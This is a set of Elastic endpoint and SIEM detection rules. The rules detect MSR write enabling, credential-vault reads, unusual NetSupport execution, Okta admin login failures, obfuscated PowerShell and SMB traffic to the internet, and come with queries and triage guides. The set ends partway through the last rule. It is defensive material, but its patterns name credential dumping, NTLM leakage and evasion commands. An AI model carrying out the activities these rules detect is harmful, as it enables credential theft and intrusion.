[rule]
description = """
This rule detects the enabling of write access to the Model Specific Registers (MSR) through the modprobe command. The
MSR provides a mechanism for the operating system to interact with the processor's hardware. Enabling write access to
the MSR may allow an attacker to modify the processor's configuration. This activity is seen by adversaries as a way to
increase mining performance or to bypass security mechanisms.
"""
id = "4342c282-ee21-4140-8e27-4e0f551489ef"
license = "Elastic License v2"
name = "MSR Write Access Enabled"
os_list = ["linux"]
reference = ["https://linux.die.net/man/8/modprobe"]
version = "1.0.4"
query = '''
process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"
'''
min_endpoint_version = "7.15.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true
[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0
tree = true
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[threat.technique.subtechnique]]
id = "T1059.004"
name = "Unix Shell"
reference = "https://attack.mitre.org/techniques/T1059/004/"
[threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1496"
name = "Resource Hijacking"
reference = "https://attack.mitre.org/techniques/T1496/"
[threat.tactic]
id = "TA0040"
name = "Impact"
reference = "https://attack.mitre.org/tactics/TA0040/"
[internal]
min_endpoint_version = "7.15.0"
Stages and Predicates
Stage 1: process
process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq value:"exec" |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | eq |
| field:"process.args" kind:eq |
process.name | eq |
| field:"process_basename" kind:eq value:"modprobe" |
Multiple Vault Web Credentials Read
#Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for saved usernames and passwords. This may also be performed in preparation of lateral movement.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Credential Access |
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Security-Auditing | Event ID 5382: Vault credentials were read. |
Rule Body
[metadata]
creation_date = "2022/08/30"
integration = ["system", "windows"]
maturity = "production"
updated_date = "2025/11/14"
[rule]
author = ["Elastic"]
description = """
Windows Credential Manager allows you to create, view, or delete saved credentials for signing into websites, connected
applications, and networks. An adversary may abuse this to list or dump credentials stored in the Credential Manager for
saved usernames and passwords. This may also be performed in preparation of lateral movement.
"""
from = "now-9m"
index = ["logs-system.security*", "logs-windows.forwarded*", "winlogbeat-*"]
language = "eql"
license = "Elastic License v2"
name = "Multiple Vault Web Credentials Read"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Multiple Vault Web Credentials Read
Windows Credential Manager stores credentials for web logins, apps, and networks, facilitating seamless user access. Adversaries exploit this by extracting stored credentials, potentially aiding lateral movement within networks. The detection rule identifies suspicious activity by flagging consecutive credential reads from the same process, excluding benign actions like localhost access, thus highlighting potential credential dumping attempts.
### Possible investigation steps
- Review the process associated with the flagged PID to determine if it is a legitimate application or potentially malicious. Check for known software or unusual executables.
- Investigate the source and destination of the web credentials read by examining the winlog.event_data.Resource field to identify any suspicious or unexpected URLs.
- Check the winlog.computer_name to identify the affected system and assess whether it is a high-value target or has been involved in previous suspicious activities.
- Analyze the timeline of events around the alert to identify any preceding or subsequent suspicious activities that may indicate a broader attack pattern.
- Verify the user context by examining the winlog.event_data.SubjectLogonId to ensure the activity was not performed by a privileged or administrative account without proper authorization.
- Cross-reference the event with other security logs or alerts to identify any correlated activities that might suggest a coordinated attack or compromise.
### False positive analysis
- Localhost access is a common false positive since the rule excludes localhost reads. Ensure that any legitimate applications accessing credentials via localhost are properly whitelisted to prevent unnecessary alerts.
- Automated scripts or applications that frequently access web credentials for legitimate purposes may trigger the rule. Identify these processes and create exceptions for them to reduce noise.
- System maintenance or updates might involve credential reads that are benign. Coordinate with IT teams to schedule these activities and temporarily adjust the rule sensitivity or add exceptions during these periods.
- Security tools or monitoring software that perform regular checks on credential integrity could be flagged. Verify these tools and add them to an exception list if they are part of the organization's security infrastructure.
- User behavior such as frequent password changes or credential updates might cause alerts. Educate users on the impact of their actions and consider adjusting the rule to accommodate expected behavior patterns.
### Response and remediation
- Isolate the affected system from the network to prevent potential lateral movement by the adversary.
- Terminate the suspicious process identified by the process ID (pid) involved in the credential reads to stop further credential access.
- Conduct a thorough review of the affected system for any additional signs of compromise, such as unauthorized user accounts or scheduled tasks.
- Change passwords for any accounts that may have been exposed, focusing on those stored in the Windows Credential Manager.
- Implement network segmentation to limit access to critical systems and data, reducing the risk of lateral movement.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the scope of the breach.
- Enhance monitoring and logging on the affected system and similar endpoints to detect any future attempts at credential dumping or unauthorized access."""
references = [
"https://www.ultimatewindowssecurity.com/securitylog/encyclopedia/event.aspx?eventid=5382",
"https://www.elastic.co/security-labs/detect-credential-access",
]
risk_score = 47
rule_id = "44fc462c-1159-4fa8-b1b7-9b6296ab4f96"
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Credential Access",
"Data Source: Windows Security Event Logs",
"Resources: Investigation Guide",
]
type = "eql"
query = '''
sequence by winlog.computer_name, winlog.process.pid with maxspan=1s
/* 2 consecutive vault reads from same pid for web creds */
[any where host.os.type == "windows" and event.code == "5382" and
(winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and
not winlog.event_data.SubjectLogonId : "0x3e7" and
not winlog.event_data.Resource : "http://localhost/"]
[any where host.os.type == "windows" and event.code == "5382" and
(winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and
not winlog.event_data.SubjectLogonId : "0x3e7" and
not winlog.event_data.Resource : "http://localhost/"]
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1003"
name = "OS Credential Dumping"
reference = "https://attack.mitre.org/techniques/T1003/"
[[rule.threat.technique]]
id = "T1555"
name = "Credentials from Password Stores"
reference = "https://attack.mitre.org/techniques/T1555/"
[[rule.threat.technique.subtechnique]]
id = "T1555.004"
name = "Windows Credential Manager"
reference = "https://attack.mitre.org/techniques/T1555/004/"
[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"
Stages and Predicates
Ordered sequence: each step below must occur in order within 1s, correlated by winlog.computer_name, winlog.process.pid.
Stage 1: any
[any where host.os.type == "windows" and event.code == "5382" and
(winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and
not winlog.event_data.SubjectLogonId : "0x3e7" and
not winlog.event_data.Resource : "http://localhost/"]
Stage 2: any
[any where host.os.type == "windows" and event.code == "5382" and
(winlog.event_data.SchemaFriendlyName : "Windows Web Password Credential" and winlog.event_data.Resource : "http*") and
not winlog.event_data.SubjectLogonId : "0x3e7" and
not winlog.event_data.Resource : "http://localhost/"]
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.code | eq |
| field:"EventID" kind:eq value:"5382" |
winlog.event_data.Resource | wildcard |
| field:"Resource" kind:wildcard value:"http*" |
winlog.event_data.SchemaFriendlyName | wildcard |
| field:"SchemaFriendlyName" kind:wildcard value:"Windows Web Password Credential" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
winlog.event_data.Resource | eq | http://localhost/ | excludes:winlog.event_data.Resource field:"winlog.event_data.Resource" value:"http://localhost/" |
winlog.event_data.SubjectLogonId | eq | 0x3e7 | excludes:winlog.event_data.SubjectLogonId field:"winlog.event_data.SubjectLogonId" value:"0x3e7" |
NetSupport Execution form unusual Path
#Identifies a suspicious execution of NetSupport remote access software from non-default paths. Adversaries may abuse the NetSupport RMM software to control a target victim machine.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Command & Control |
Rule Body
[rule]
description = """
Identifies a suspicious execution of NetSupport remote access software from non-default paths. Adversaries may abuse the
NetSupport RMM software to control a target victim machine.
"""
id = "f36c407e-27c1-4682-a322-73dd0cddf29d"
license = "Elastic License v2"
name = "NetSupport Execution form unusual Path"
os_list = ["windows"]
reference = ["https://www.netsupportsoftware.com/"]
version = "1.0.5"
query = '''
process where process.pe.original_file_name : "client??.exe" and
process.code_signature.subject_name : ("NetSupport Ltd", "NETSUPPORT LTD.") and
not process.executable : ("?:\\Program Files\\NetSupport*.exe", "?:\\Program Files (x86)\\NetSupport*.exe") and
not process.parent.executable : ("?:\\Program Files\\NetSupport*.exe", "?:\\Program Files (x86)\\NetSupport*.exe")
'''
min_endpoint_version = "8.4.0"
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
tree = true
[[optional_actions]]
action = "rollback"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1219"
name = "Remote Access Tools"
reference = "https://attack.mitre.org/techniques/T1219/"
[threat.tactic]
id = "TA0011"
name = "Command and Control"
reference = "https://attack.mitre.org/tactics/TA0011/"
[internal]
min_endpoint_version = "8.4.0"
Stages and Predicates
Stage 1: process
process where process.pe.original_file_name : "client??.exe" and
process.code_signature.subject_name : ("NetSupport Ltd", "NETSUPPORT LTD.") and
not process.executable : ("?:\\Program Files\\NetSupport*.exe", "?:\\Program Files (x86)\\NetSupport*.exe") and
not process.parent.executable : ("?:\\Program Files\\NetSupport*.exe", "?:\\Program Files (x86)\\NetSupport*.exe")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
process.code_signature.subject_name | wildcard |
| field:"Signature" kind:wildcard |
process.pe.original_file_name | wildcard |
| field:"OriginalFileName" kind:wildcard value:"client??.exe" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.executable | wildcard | ?:\Program Files\NetSupport*.exe, ?:\Program Files (x86)\NetSupport*.exe | excludes:process.executable field:"process.executable" value:"?:\Program Files\NetSupport*.exe" field:"process.executable" value:"?:\Program Files (x86)\NetSupport*.exe" |
process.parent.executable | wildcard | ?:\Program Files\NetSupport*.exe, ?:\Program Files (x86)\NetSupport*.exe | excludes:process.parent.executable field:"process.parent.executable" value:"?:\Program Files\NetSupport*.exe" field:"process.parent.executable" value:"?:\Program Files (x86)\NetSupport*.exe" |
Okta Admin Console Login Failure
#Identifies failed login attempts to the Okta Admin Console. Adversaries may attempt to gain unauthorized access to administrator portals during reconnaissance or privilege escalation phases. Repeated failures may indicate brute force attacks, credential spraying, or attempts to use compromised credentials. Monitoring Admin Console access failures provides visibility into potential account takeover attempts targeting administrative accounts.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Credential Access |
Rule Body
[metadata]
bypass_bbr_timing = true
creation_date = "2026/02/03"
integration = ["okta"]
maturity = "production"
updated_date = "2026/03/24"
[rule]
author = ["Elastic"]
building_block_type = "default"
description = """
Identifies failed login attempts to the Okta Admin Console. Adversaries may attempt to gain unauthorized access to
administrator portals during reconnaissance or privilege escalation phases. Repeated failures may indicate brute force
attacks, credential spraying, or attempts to use compromised credentials. Monitoring Admin Console access failures
provides visibility into potential account takeover attempts targeting administrative accounts.
"""
from = "now-9m"
index = ["logs-okta.system-*"]
language = "kuery"
license = "Elastic License v2"
name = "Okta Admin Console Login Failure"
note = """## Triage and analysis
### Investigating Okta Admin Console Login Failure
This rule detects failed authentication attempts specifically targeting the Okta Admin Console. The Admin Console provides privileged access to manage Okta configurations, users, and policies, making it a high-value target for adversaries.
Threat actors like ShinyHunters have been observed probing for valid admin credentials as part of their attack chain. Failed Admin Console access attempts often precede successful compromise through vishing (voice phishing) or credential harvesting.
#### Possible investigation steps:
- Identify the user involved by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.
- Review the `okta.outcome.reason` field to understand why the authentication failed (e.g., invalid credentials, MFA failure, policy violation).
- Determine the client used by the actor. Review the `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.
- Check if the source IP is associated with known malicious activity, VPN/proxy services, or unusual geolocations.
- Examine the `okta.request.ip_chain` field to determine if the actor used a proxy or VPN.
- Correlate with other failed login attempts from the same IP or user to identify patterns.
- Review if the targeted user has administrative privileges that would make them a high-value target.
- Check for any recent vishing or phishing reports targeting users in your organization.
### False positive analysis:
- Administrators may legitimately mistype passwords or have MFA issues.
- Automated systems or scripts may fail authentication due to expired credentials.
- Users may accidentally attempt to access the Admin Console without proper permissions.
### Response and remediation:
- If repeated failures are observed from the same IP, consider blocking the IP address at the network perimeter.
- Alert the targeted administrator about the failed access attempts.
- If the user reports not attempting to access the Admin Console, treat this as a potential account compromise attempt.
- Review and strengthen MFA requirements for Admin Console access.
- Consider implementing conditional access policies to restrict Admin Console access to trusted networks.
- If vishing is suspected, remind users of social engineering awareness and verification procedures.
"""
references = [
"https://cloud.google.com/blog/topics/threat-intelligence/expansion-shinyhunters-saas-data-theft",
"https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security",
"https://www.elastic.co/security-labs/starter-guide-to-understanding-okta",
]
risk_score = 21
rule_id = "f960e8a4-31c1-4a6e-b172-8f5c8e5c8c2a"
severity = "low"
tags = [
"Domain: Identity",
"Use Case: Identity and Access Audit",
"Data Source: Okta",
"Data Source: Okta System Logs",
"Tactic: Initial Access",
"Tactic: Credential Access",
"Resources: Investigation Guide",
"Rule Type: BBR",
]
timestamp_override = "event.ingested"
type = "query"
query = '''
event.dataset: "okta.system"
and event.category: "authentication"
and okta.target.alternate_id: "Okta Admin Console"
and okta.outcome.result: "FAILURE"
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1078"
name = "Valid Accounts"
reference = "https://attack.mitre.org/techniques/T1078/"
[[rule.threat.technique.subtechnique]]
id = "T1078.004"
name = "Cloud Accounts"
reference = "https://attack.mitre.org/techniques/T1078/004/"
[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1110"
name = "Brute Force"
reference = "https://attack.mitre.org/techniques/T1110/"
[rule.threat.tactic]
id = "TA0006"
name = "Credential Access"
reference = "https://attack.mitre.org/tactics/TA0006/"
Stages and Predicates
Stage 1: query
event.dataset: "okta.system"
and event.category: "authentication"
and okta.target.alternate_id: "Okta Admin Console"
and okta.outcome.result: "FAILURE"
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.category | eq |
| field:"event.category" kind:eq value:"authentication" |
event.dataset | eq |
| field:"event.dataset" kind:eq value:"okta.system" |
okta.outcome.result | eq |
| field:"okta::outcome.result" kind:eq value:"FAILURE" |
okta.target.alternate_id | eq |
| field:"okta.target.alternate_id" kind:eq value:"Okta Admin Console" |
Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion
#Detects PowerShell scripts that use backtick-escaped characters inside ${} variable expansion (multiple backticks between word characters) to reconstruct strings at runtime. Attackers use variable-expansion obfuscation to split keywords, hide commands, and evade static analysis and AMSI.
MITRE ATT&CK Coverage
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| PowerShell | Event ID 4104: Creating Scriptblock text (MessageNumber of MessageTotal). |
Rule Body
[metadata]
creation_date = "2025/04/16"
integration = ["windows"]
maturity = "production"
updated_date = "2026/04/30"
[rule]
author = ["Elastic"]
description = """
Detects PowerShell scripts that use backtick-escaped characters inside `${}` variable expansion (multiple backticks
between word characters) to reconstruct strings at runtime. Attackers use variable-expansion obfuscation to split
keywords, hide commands, and evade static analysis and AMSI.
"""
from = "now-9m"
language = "esql"
license = "Elastic License v2"
name = "Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion"
risk_score = 73
rule_id = "d43f2b43-02a1-4219-8ce9-10929a32a618"
severity = "high"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Data Source: PowerShell Logs",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "esql"
query = '''
from logs-windows.powershell_operational* metadata _id, _version, _index
| where event.code == "4104"
// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for
| eval Esql.script_block_length = length(powershell.file.script_block_text)
| where Esql.script_block_length > 500
// replace the patterns we are looking for with the 🔥 emoji to enable counting them
// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1
| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """\$\{(\w++`){2,}\w++\}""", "🔥")
// count how many patterns were detected by calculating the number of 🔥 characters inserted
| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", ""))
// keep the fields relevant to the query, although this is not needed as the alert is populated using _id
| keep
Esql.script_block_pattern_count,
Esql.script_block_length,
Esql.script_block_tmp,
powershell.file.*,
file.path,
file.name,
process.pid,
powershell.sequence,
powershell.total,
_id,
_version,
_index,
host.name,
host.id,
agent.id,
user.id
// Filter for scripts that match the pattern at least once
| where Esql.script_block_pattern_count >= 1
'''
note = """## Triage and analysis
### Investigating Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion
#### Possible investigation steps
- Did you reconstruct the complete alerting script block and confirm the escaped-variable pattern?
- Focus: alert-local `Esql.script_block_pattern_count`, `Esql.script_block_tmp`, `Esql.script_block_length`, and reconstructed `powershell.file.script_block_text`. $investigate_2
- Hint: query PowerShell Operational events from logs-windows.powershell_operational*, then reconstruct with `powershell.file.script_block_id` + `powershell.sequence` + `powershell.total` on the same `host.id`; confirm fragment count before judging intent.
- Implication: escalate when the complete block repeats ${} backtick expansion across command, variable, or string-building logic; lower suspicion when one isolated escaped token sits inside readable build or template code. Missing fragments keep the alert unresolved, not benign.
- What execution-critical text appears when the backticks inside ${} are removed?
- Focus: reconstructed `powershell.file.script_block_text`, alert-local `Esql.script_block_tmp`, and the command, variable, or string tokens exposed by removing the backticks.
- Implication: escalate when escaped expansions hide cmdlets, invocation operators, download strings, encoded payloads, AMSI or logging bypass names, or variables that feed execution; lower suspicion when they only protect literal template placeholders and no decoded token changes execution.
- Does the script origin and user-host context fit one bounded generation workflow?
- Focus: `file.path`, `file.name`, `user.id`, `host.name`, and `host.id`.
- Implication: escalate when `file.path` is absent for a long obfuscated block, the path is user-writable, temporary, or delivery-oriented, or the account-host pair does not fit script generation or deployment; lower suspicion only when origin, account, host, and decoded content match one recognized build, packaging, updater, or test workflow.
- If process telemetry is available, how was the PowerShell instance launched?
- Focus: alert-preserved `process.pid`, plus recovered `process.executable`, `process.command_line`, `process.parent.executable`, and `process.parent.command_line`.
- Hint: recover the matching process via `host.id + process.pid`; around alert `@timestamp`, prefer the closest start event for that `host.id` if PID reuse creates multiple matches. $investigate_3
- Implication: escalate when the chain starts from a browser, document process, archive, remote tooling, scheduled task, non-PowerShell host process using System.Management.Automation, or encoded/in-memory command path that does not fit the script purpose; lower suspicion when executable, parent, and command line match the same recognized build, packaging, updater, or test workflow. Missing endpoint process telemetry keeps lineage unresolved, not benign.
- Does the decoded content request a second execution stage?
- Focus: decoded execution, download, credential, policy, persistence, or payload-staging commands in `powershell.file.script_block_text`.
- Hint: after process recovery via `host.id + process.pid`, review child events where `process.parent.entity_id` equals the recovered PowerShell `process.entity_id`; use `host.id` plus `process.parent.pid` as a weaker tight-window fallback. $investigate_4
- Implication: escalate when hidden tokens feed execution operators, downloaded content, child processes, credential access, policy tampering, persistence, or payload staging; lower suspicion when decoded actions stay inside the same recognized generation or update task and no second execution path appears. Missing endpoint process telemetry leaves child-process correlation unresolved, not benign.
- If local evidence remains suspicious or unresolved, does this escaped-variable pattern appear elsewhere?
- Focus: related alerts for `user.id` and `host.id` in the last 48 hours, decoded token fragments from `powershell.file.script_block_text`, and the same `file.path` when present.
- Hint: start with related alerts for the same `user.id`; if sparse, pivot to the same `host.id`. $investigate_0 $investigate_1
- Implication: broaden scope when the same escaped-variable technique or decoded execution strings appear on unrelated hosts, users, or source paths; keep local when recurrence stays inside the same confirmed workflow and local evidence is otherwise clean.
- Escalate on strong unauthorized execution evidence from decoded tokens, fileless or unusual origin, launch chain, second-stage behavior, or repeated scope; close only when telemetry and any needed owner or change confirmation explain every suspicious token as one recognized build, packaging, updater, or test workflow; preserve and escalate when fragments, endpoint process telemetry, or workflow proof are missing for a suspicious script.
### False positive analysis
- Code generation, packaging, build, updater, bootstrap, or test harness workflows can emit backtick-escaped ${} sequences while producing PowerShell text. Confirm only when reconstructed `powershell.file.script_block_text` is limited to template, packaging, installer, updater, or test logic; `file.path` or its absence fits that source; any recovered launch chain supports the same tool; and `user.id` plus `host.id` match the same operating scope. If change records are unavailable, require the same file origin, decoded token family, and user-host scope across prior alerts from this rule.
- Treat one benign-looking token as insufficient for closure. Do not close when decoded content contains execution, download, defense-evasion, credential, or persistence logic that the named workflow does not require.
- Before creating an exception, anchor it to stable indexed fields such as `user.id`, `host.id`, and `file.path` or `file.name`, plus the stable decoded token family and recovered parent context when available. Do not use `Esql.script_block_pattern_count` or `Esql.script_block_tmp` in exceptions because they are alert-local summaries, not exception-safe fields.
### Response and remediation
- If confirmed benign, document the evidence that explained the alert first: reconstructed script intent, file origin or fileless source, `user.id`, `host.id`, and the recovered launch context when available. Then reverse any temporary containment and create a narrow exception only after the same workflow pattern is stable across prior alerts.
- If suspicious but unconfirmed, preserve the alert, reconstructed `powershell.file.script_block_text`, `powershell.file.script_block_id`, ordered 4104 fragments, file origin, host-user scope, recovered launch context when available, and decoded indicators before containment. Apply reversible containment such as heightened monitoring or host isolation only if the host role can tolerate it, then escalate before deleting artifacts or resetting credentials.
- If confirmed malicious, preserve the same script, source-event, process, and decoded-indicator evidence before destructive action. Isolate the host when the evidence shows unauthorized execution and host criticality allows it, record the recovered process identifier before termination, block confirmed malicious decoded indicators, and remove only the scripts, payloads, startup items, policy changes, or persistence artifacts identified during the investigation. Reset credentials only when the investigation shows account misuse beyond local script execution.
- Post-incident hardening: retain PowerShell script-block logging, keep endpoint process telemetry sufficient for `host.id + process.pid` recovery, restrict recurring script generation to recognized signed tooling and service scopes, and document the confirmed benign workflow or malicious decoded token family for future triage.
"""
setup = """## Setup
PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104).
Setup instructions: https://ela.st/powershell-logging-setup
"""
[rule.investigation_fields]
field_names = [
"@timestamp",
"user.id",
"powershell.file.script_block_text",
"powershell.file.script_block_id",
"powershell.sequence",
"powershell.total",
"file.path",
"file.name",
"host.name",
"host.id",
"process.pid",
"Esql.script_block_pattern_count",
"Esql.script_block_length"
]
[transform]
[[transform.investigate]]
label = "Alerts associated with the user"
description = ""
providers = [
[
{ excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
{ excluded = false, field = "user.id", queryType = "phrase", value = "{{user.id}}", valueType = "string" }
]
]
relativeFrom = "now-48h/h"
relativeTo = "now"
[[transform.investigate]]
label = "Alerts associated with the host"
description = ""
providers = [
[
{ excluded = false, field = "event.kind", queryType = "phrase", value = "signal", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
]
]
relativeFrom = "now-48h/h"
relativeTo = "now"
[[transform.investigate]]
label = "Script block fragments for the same script"
description = ""
providers = [
[
{ excluded = false, field = "powershell.file.script_block_id", queryType = "phrase", value = "{{powershell.file.script_block_id}}", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" }
]
]
relativeFrom = "now-1h"
relativeTo = "now"
[[transform.investigate]]
label = "Process events for the PowerShell instance"
description = ""
providers = [
[
{ excluded = false, field = "process.pid", queryType = "phrase", value = "{{process.pid}}", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
{ excluded = false, field = "event.category", queryType = "phrase", value = "process", valueType = "string" }
]
]
relativeFrom = "now-1h"
relativeTo = "now"
[[transform.investigate]]
label = "Child process activity from the PowerShell instance"
description = ""
providers = [
[
{ excluded = false, field = "process.parent.pid", queryType = "phrase", value = "{{process.pid}}", valueType = "string" },
{ excluded = false, field = "host.id", queryType = "phrase", value = "{{host.id}}", valueType = "string" },
{ excluded = false, field = "event.category", queryType = "phrase", value = "process", valueType = "string" },
{ excluded = false, field = "event.type", queryType = "phrase", value = "start", valueType = "string" }
]
]
relativeFrom = "now-1h"
relativeTo = "now"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1027"
name = "Obfuscated Files or Information"
reference = "https://attack.mitre.org/techniques/T1027/"
[[rule.threat.technique.subtechnique]]
id = "T1027.010"
name = "Command Obfuscation"
reference = "https://attack.mitre.org/techniques/T1027/010/"
[[rule.threat.technique]]
id = "T1140"
name = "Deobfuscate/Decode Files or Information"
reference = "https://attack.mitre.org/techniques/T1140/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1059"
name = "Command and Scripting Interpreter"
reference = "https://attack.mitre.org/techniques/T1059/"
[[rule.threat.technique.subtechnique]]
id = "T1059.001"
name = "PowerShell"
reference = "https://attack.mitre.org/techniques/T1059/001/"
[rule.threat.tactic]
id = "TA0002"
name = "Execution"
reference = "https://attack.mitre.org/tactics/TA0002/"
Stages and Predicates
Stage 1: from
from logs-windows.powershell_operational* metadata _id, _version, _index
Stage 2: where
| where event.code == "4104"
Stage 3: eval
| eval Esql.script_block_length = length(powershell.file.script_block_text)
Stage 4: where
| where Esql.script_block_length > 500
Stage 5: eval
| eval Esql.script_block_tmp = replace(powershell.file.script_block_text, """\$\{(\w++`){2,}\w++\}""", "🔥")
Stage 6: eval
| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", ""))
Stage 7: keep
| keep
Esql.script_block_pattern_count,
Esql.script_block_length,
Esql.script_block_tmp,
powershell.file.*,
file.path,
file.name,
process.pid,
powershell.sequence,
powershell.total,
_id,
_version,
_index,
host.name,
host.id,
agent.id,
user.id
Stage 8: where
| where Esql.script_block_pattern_count >= 1
Indicators
These rows show field, operator, and value matches.
Output Fields
These fields are emitted when the rule matches.
| Field | Source |
|---|---|
Esql.script_block_pattern_count | KEEP Esql.script_block_pattern_count |
Esql.script_block_length | KEEP Esql.script_block_length |
Esql.script_block_tmp | KEEP Esql.script_block_tmp |
powershell.file.* | KEEP powershell.file.* |
file.path | KEEP file.path |
file.name | KEEP file.name |
process.pid | KEEP process.pid |
powershell.sequence | KEEP powershell.sequence |
powershell.total | KEEP powershell.total |
_id | KEEP _id |
_version | KEEP _version |
_index | KEEP _index |
host.name | KEEP host.name |
host.id | KEEP host.id |
agent.id | KEEP agent.id |
user.id | KEEP user.id |
Rare SMB Connection to the Internet
#This rule detects rare internet network connections via the SMB protocol. SMB is commonly used to leak NTLM credentials via rogue UNC path injection.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Credential Access | |
| Exfiltration |
Rule Body
[metadata]
creation_date = "2023/12/04"
integration = ["endpoint", "windows", "m365_defender", "sentinel_one_cloud_funnel"]
maturity = "production"
updated_date = "2026/05/04"
[rule]
author = ["Elastic"]
description = """
This rule detects rare internet network connections via the SMB protocol. SMB is commonly used to leak NTLM credentials
via rogue UNC path injection.
"""
from = "now-9m"
index = [
"logs-endpoint.events.network-*",
"winlogbeat-*",
"logs-windows.sysmon_operational-*",
"endgame-*",
"logs-m365_defender.event-*",
"logs-sentinel_one_cloud_funnel.*",
]
language = "kuery"
license = "Elastic License v2"
name = "Rare SMB Connection to the Internet"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Rare SMB Connection to the Internet
Server Message Block (SMB) is a protocol used for sharing files and printers within a network. Adversaries exploit SMB to exfiltrate data by injecting rogue paths to capture NTLM credentials. The detection rule identifies unusual SMB traffic from internal IPs to external networks, flagging potential exfiltration attempts by monitoring specific ports and excluding known safe IP ranges.
### Possible investigation steps
- Review the alert details to identify the internal source IP address involved in the SMB connection and verify if it belongs to a known or authorized device within the organization.
- Check the destination IP address to determine if it is associated with any known malicious activity or if it belongs to an external network that should not be receiving SMB traffic from internal systems.
- Investigate the process with PID 4 on the source host, which typically corresponds to the Windows System process, to identify any unusual activity or recent changes that could indicate compromise or misuse.
- Analyze network logs to trace the SMB traffic flow and identify any patterns or additional connections that may suggest data exfiltration attempts.
- Correlate the alert with other security events or logs from data sources like Microsoft Defender XDR or Sysmon to gather additional context and determine if this is part of a larger attack campaign.
- Consult with the IT or network team to verify if there are any legitimate business reasons for the detected SMB traffic to the external network, and if not, consider blocking the connection and conducting a deeper investigation into the source host.
### False positive analysis
- Internal network scanning tools may trigger alerts if they simulate SMB traffic to external IPs. Exclude IPs associated with these tools from the rule to prevent false positives.
